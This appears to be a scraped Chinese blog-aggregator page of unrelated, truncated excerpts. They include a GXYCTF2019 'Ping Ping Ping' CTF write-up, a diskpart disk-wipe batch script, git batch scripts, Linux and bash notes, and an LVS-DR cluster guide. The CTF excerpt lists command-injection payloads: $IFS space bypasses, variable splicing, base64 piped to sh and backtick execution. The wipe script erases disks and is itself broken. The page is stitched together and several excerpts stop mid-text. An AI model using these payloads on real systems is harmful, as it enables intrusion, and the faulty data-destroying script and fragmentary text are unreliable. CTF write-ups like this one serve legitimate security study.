echo

[GXYCTF2019]Ping Ping Ping

时光毁灭记忆、已成空白 提交于 2020-01-31 19:54:20
0x00 知识点 命令执行变量拼接 /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 过滤bash用sh执行 echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 内联执行 将反引号内命令的输出作为输入执行 ?ip=127.0.0.1;cat$IFS$9`ls` 0x01 解题 打开题目,联想到XCTF中的一道题目 命令执行的方法大抵是加上管道符或者分号,那么试试管道符 /?ip=127.0.0.1|ls 看到flag.php index.php 试着读flag.php 看到提示空格被ban: 绕过空格的方法大概有以下几种: $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 %09 ps:有时会禁用cat: 解决方法是使用tac反向输出命令: linux命令中可以加\,所以甚至可以ca\t /fl\ag 尝试 发现{被ban $IFS$1: flag被ban。。 我们先来试着读取一下index.php: /?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\

dos命令制作系统清盘程序

浪子不回头ぞ 提交于 2020-01-31 11:18:09
很多小伙伴都遇到过想将u盘格式化的情况,下面直接使用Windows自带的shell命令直接进行自动清盘,比较方便,为了防止个人操作失误误点,插入了set设置环境变量的方法。 @echo off title 磁盘启动盘 diskpart cls list disk set /p var = 请选择需要处理的磁盘: select disk var set /p ab = 以下操作将会清除磁盘中所有的数据,输入1则会进行清理操作,输入0则退出: if ab == 1 ( echo 开始清除!goto start1 ) else ( echo 退出成功!goto start2 ) :start 1 clean echo 开始创做一个新的系统盘 create partition primary list partition echo 开始自动检查 select partition 1 active format fs = NTFS quick exit :start 2 exit 来源: CSDN 作者: 熬夜耗子在线敲代码 链接: https://blog.csdn.net/weixin_46020788/article/details/104106950

Bash Shell脚本

元气小坏坏 提交于 2020-01-31 00:37:45
echo 1. echo "It is $num" 等价于 echo It is $num 且$num为变量的值。 2. echo 'It is $num' 则代表了"It is $num"这个字符串。 来源: CSDN 作者: Chernyang 链接: https://blog.csdn.net/qq_42890800/article/details/104117558

Linux的基本命令

核能气质少年 提交于 2020-01-30 23:09:48
常用命令 pwd pwd:printing working directory 打印当前工作目录 cd cd :change directory 切换目录 cd [/PATH/TO/SOMEDIR] 不带任何参数时 表示切换回家目录 也可以cd ~ 切换回家目录 cd ~USERNAME: 切换至指定用户家目录 cd -:在上一次所在目录与当前目录之间来回切换 可以切换是因为bshell中 有PWD 与 OLDPWD两个环境变量 其中 PWD记录当前环境目录 而OLDPWD 记录的是上次所在的目录 ls 文件的格式ls : list 列出指定目录下的内容 ls [OPTION] …[FILE]… 常用选项 ls -a :显示所有文件,包括隐藏文件 ls -A: 显示所有文件,包括隐藏文件但是不包括 . 和 … ls -a /var/:指定路径显示 ls -l 或 ls --long,长格式列表,即显示文件的详细属性信息。 ls -l -h(或–human-readable) 其中 -h 表示 显示为人类可读类型其中的文件大小会被换算。换算后会丢失精度 r w - r - - r - - 1 root root 35172 1月 18 10:43 alternatives.log d r w x r - x r - - 2 root root 4096 1月 20 11:16 apt

Bat 创建git分支tag并推送

落花浮王杯 提交于 2020-01-30 23:01:33
方便版本更新以后,给各个项目打tag并推送。设置分支、标签信息以后,可多次调用函数,给多个项目打标签。 函数名:createtag 参数 说明 参数1 仓库地址 参数2 分支。标签建在那个分支 参数3 tag名。标签名字 参数4 备注。标签的备注 @echo off @title 新建标签 ::set /p branchName=请输入分支名称: ::echo %description% REM set /p branchName=r4.2 REM set /p tagName=请输入标签名称: REM echo %tagName% REM set /p description=请输入描述名称: REM echo %description% set branchName=r4.7_mainService set tagName=tag_r4.7_mainService_hc_0113 set description="2020年01月13日 凌晨,r4.7_mainService版本更新Hc服务器" REM call:createtag e:\git\lxwebsite %branchname% %tagname% %description% call:createtag e:\git\lxservice %branchname% %tagname% %description%

Bat 合并git分支

好久不见. 提交于 2020-01-30 21:51:47
Bat 合并各项目分支,减少合并时间,手动操作的失误。请留意输出信息,很多情况脚本未能自动处理,需要手动处理。 仓库地址,目标分支等都是写死的,你可以稍作修改,从控制台输入。 @echo off ::rem 窗口标题 @title 脚本合并 ::rem 输出合并路径 echo\&echo r4.6_mq_hc r4.6_Time ::rem GIT仓库的根目录 cd /d E:\Git\YLPT-LiXin-Database ::rem 检查工作区是否干净 call:CheckWorkingTree ::rem 合并分支。第一个参数源分支,第二个参数目标分支 call:mergeBranch r4.6_mq_hc r4.7 call:mergeBranch r4.7 r4.7_mainService echo\&echo done... pause exit ::rem 合并分支 :mergeBranch git checkout %1 if not %errorlevel%==0 ( echo 切换到%1分支出现问题。新开窗口解决完错误后,继续…… "C:\Program Files\Git\git-bash.exe" ) git pull if not %errorlevel%==0 ( echo 分支%1获取遇到问题。新开窗口解决完错误后,继续…… "C:\Program

bash之花括号扩展(brace expansion )

瘦欲@ 提交于 2020-01-30 16:32:31
bash的所有扩展(expansion)如下: Brace Expansion(花括号扩展) Tilde Expansion(波浪号扩展) Parameter and Variable Expansion (参数和变量扩展) Command Substitution(命令置换) Arithmetic Expansion(算数扩展) Word Splitting(单词分割) Pathname Expansion(路径扩展) 上面列举的顺序正是bash在扩展时的顺序 花括号展开的定义(Brace Expansion) 花括号扩展也称大括号扩展,是可以让bash生成任意字符串的一种扩展功能。它与“路径扩展”非常相似,唯一不同的是生成的字符串可以是不存在的路径或者文件名 在bash中,花括号扩展在诸多扩展中优先级最高,因此类似于echo {a,b}$PATH的语句在完成花括号扩展之后的结果应该为 a$PATH b$PATH,而对PATH环境变量的扩展要到后续的“参数和变量扩展”阶段才开始 花括号扩展的两种格式 3.1 第一类格式为: preamble+{string1,string2,string3,...,stringN}+postcript 左右的花括号是必须的,中间的字符串列表分别由逗号隔开,注意逗号前后不能有空格,如果string中有空格,则需要单引号或者双引号扩起来

Linux-批量传输文件脚本

爱⌒轻易说出口 提交于 2020-01-30 07:18:04
cp source destination cp -r /abc /def //把远程Hadoop101上的/opt/module拷贝到Hadoop102相同的位置 scp -r hadoop101:/opt/module/hadoop-2.7.7 hadoop102:/opt/module [zhenghui@hadoop101 ~]$ scp -r root@hadoop101:/opt/module/hadoop-2.7.7/ root@hadoop102:/opt/module yum -y install xinetd rsync rsync -av hadoop101:/opt/module/hadoop-2.7.7 /opt/module copypath文件脚本 #!/bin/bash pcount = $ # echo count = $pcount if (( pcount == 0 )) ; then echo no args ; exit ; fi p1 = $1 fname = $( basename $p1 ) echo fname = $fname pdir = $( cd -P $( dirname $p1 ) ; pwd ) echo pdir = $pdir user = $( whoami ) for (( host = 102 ; host

How to print #!/bin/bash using echo command [duplicate]

穿精又带淫゛_ 提交于 2020-01-30 05:52:06
问题 This question already has answers here : Why can't I echo the characters #! in a string in bash? [duplicate] (5 answers) Closed 5 years ago . I have tried the escape character but it doesn't seems works with ! . I need this to auto-configure packages using scripts. 回答1: ! is magic in a default interactive bash session, but not in scripts ( set +H to disable in an interactive prompt). In any case: echo '#!/bin/bash' 回答2: Or with no quotes and escaping the # and the ! : echo \#\!/bin/bash 回答3:

LVS-DR集群实验

我的未来我决定 提交于 2020-01-30 02:38:02
一、 LVS-DR集群实验 实验准备 1) VMware 虚拟出三台CentOS 7 2) 在Vmware下将网络模式配合NAT模式,网段配置为80网段(根据自己喜好,注意一致性即可) 3) 分别配置三台CentOS7的网络地址配置为: (1) 负载均衡调度器(LVS-DR)IP:192.168.80.20 (2) 服务器AA(Server1)IP:192.168.80.30,主机名为AA (3) 服务器BB(Server2)IP:192.168.80.40,主机名为BB 4) VIP 地址:192.168.80.100,该配置在配置文件中实现。 5) 关闭三台CentOS7上面的防火墙 [root@localhost ~]# systemctl stop firewalld.service #关闭防火墙 [root@localhost ~]# systemctl disable firewalld.service #可直接选择禁止firewall开机启动 安装配置DS 6) 安装LVS IP-VS的管理模块ipvsadm [root@localhost ~]# modprobe ip_vs //加载ip_vs模块 [root@localhost ~]# cat /proc/net/ip_vs //查看ip_vs版本信息 [root@localhost ~]# yum